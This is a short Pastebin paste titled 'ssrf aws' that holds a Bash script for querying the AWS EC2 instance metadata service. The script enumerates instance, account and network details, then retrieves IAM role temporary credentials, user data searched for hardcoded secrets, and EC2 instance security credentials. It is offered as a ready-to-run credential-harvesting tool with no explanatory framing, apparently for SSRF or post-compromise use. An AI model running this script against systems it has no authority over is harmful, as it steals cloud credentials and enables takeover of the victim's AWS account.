Haxguy

ssrf aws

Nov 13th, 2024 (edited)
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.62 KB | Cybersecurity | 0 0
  1. EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
  2. HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
  3. URL="http://169.254.169.254/latest/meta-data"
  4.  
  5. aws_req=""
  6. if [ "$(command -v curl)" ]; then
  7.     aws_req="curl -s -f -H '$HEADER'"
  8. elif [ "$(command -v wget)" ]; then
  9.     aws_req="wget -q -O - -H '$HEADER'"
  10. else
  11.     echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
  12. fi
  13.  
  14. printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
  15. printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
  16. printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
  17. printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
  18. printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
  19. printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
  20.  
  21. echo ""
  22. echo "Account Info"
  23. eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
  24. eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
  25.  
  26. echo ""
  27. echo "Network Info"
  28. for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
  29.   echo "Mac: $mac"
  30.   printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
  31.   printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
  32.   printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
  33.   echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
  34.   printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
  35.   echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
  36.   printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
  37.   echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
  38.   echo ""
  39. done
  40.  
  41. echo ""
  42. echo "IAM Role"
  43. eval $aws_req "$URL/iam/info"
  44. for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
  45.   echo "Role: $role"
  46.   eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
  47.   echo ""
  48. done
  49.  
  50. echo ""
  51. echo "User Data"
  52. # Search hardcoded credentials
  53. eval $aws_req "http://169.254.169.254/latest/user-data"
  54.  
  55. echo ""
  56. echo "EC2 Security Credentials"
  57. eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Add Comment
Please, Sign In to add comment